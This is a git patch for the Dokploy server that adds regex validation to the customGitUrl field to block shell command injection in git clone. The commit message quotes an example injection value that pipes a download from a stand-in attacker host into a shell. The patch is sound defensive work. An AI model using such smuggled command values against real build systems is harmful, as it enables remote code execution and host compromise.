From 5a3c1b1f97b8d8e6803b00e1f38a1fff025a8f08 Mon Sep 17 00:00:00 2001 From: gsmatheus Date: Sun, 21 Jun 2026 21:43:49 -0300 Subject: [PATCH] fix: validate customGitUrl to prevent command injection via $(...) substitution MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The customGitUrl field was only validated with z.string().optional() — no shell-metacharacter restriction. An authenticated user could inject arbitrary shell commands via command substitution, e.g.: customGitUrl: "https://github.com/x.git$(curl attacker.com | sh)" The $(...) is expanded by the shell before git clone runs, executing the injected command on the build host (local or remote SSH). customGitBranch is already protected by VALID_BRANCH_REGEX; this adds equivalent validation for customGitUrl via VALID_GIT_URL_REGEX which accepts standard HTTPS and SSH Git URLs while rejecting shell metacharacters ($, `, ;, |, &, etc.). See SECURITY-AUDIT.md for full details. --- packages/server/src/db/schema/application.ts | 9 ++++++++- .../server/src/utils/git-url-validation.ts | 20 +++++++++++++++++++ 2 files changed, 28 insertions(+), 1 deletion(-) create mode 100644 packages/server/src/utils/git-url-validation.ts diff --git a/packages/server/src/db/schema/application.ts b/packages/server/src/db/schema/application.ts index 59dfd37161..ec5b47e754 100644 --- a/packages/server/src/db/schema/application.ts +++ b/packages/server/src/db/schema/application.ts @@ -1,4 +1,5 @@ import { VALID_BRANCH_REGEX } from "@dokploy/server/utils/git-branch-validation"; +import { VALID_GIT_URL_REGEX } from "@dokploy/server/utils/git-url-validation"; import { relations } from "drizzle-orm"; import { bigint, @@ -512,7 +513,13 @@ export const apiSaveGitProvider = createSchema enableSubmodules: true, }) .required() - .extend({ customGitBranch: branchField }) + .extend({ + customGitBranch: branchField, + customGitUrl: z + .string() + .min(1) + .refine(VALID_GIT_URL_REGEX, "Invalid Git URL"), + }) .merge( createSchema.pick({ customGitSSHKeyId: true, diff --git a/packages/server/src/utils/git-url-validation.ts b/packages/server/src/utils/git-url-validation.ts new file mode 100644 index 0000000000..0d072523a8 --- /dev/null +++ b/packages/server/src/utils/git-url-validation.ts @@ -0,0 +1,20 @@ +// Valid git URL patterns for HTTPS and SSH clone URLs. +// Rejects shell metacharacters that would enable command injection. +// +// HTTPS examples accepted: +// https://github.com/owner/repo.git +// http://gitlab.example.com/group/subgroup/repo.git +// +// SSH examples accepted: +// git@github.com:owner/repo.git +// ssh://git@gitlab.com:22/owner/repo.git +// git@gitea.example.com:owner/repo.git +// +// Rejected: $(...), `...`, ;, |, &, <, >, newlines, spaces outside of SSH scheme +const HTTPS_GIT_URL_REGEX = /^https?:\/\/[^\s;|&$`(){}[\]<>'"\\]+$/; +const SSH_GIT_URL_REGEX = + /^(?:ssh:\/\/)?[a-zA-Z_][a-zA-Z0-9_-]*@[a-zA-Z0-9.-]+(?::\d{1,5})?:[^\s;|&$`(){}[\]<>'"\\]+$/; + +export const VALID_GIT_URL_REGEX = (url: string): boolean => { + return HTTPS_GIT_URL_REGEX.test(url) || SSH_GIT_URL_REGEX.test(url); +};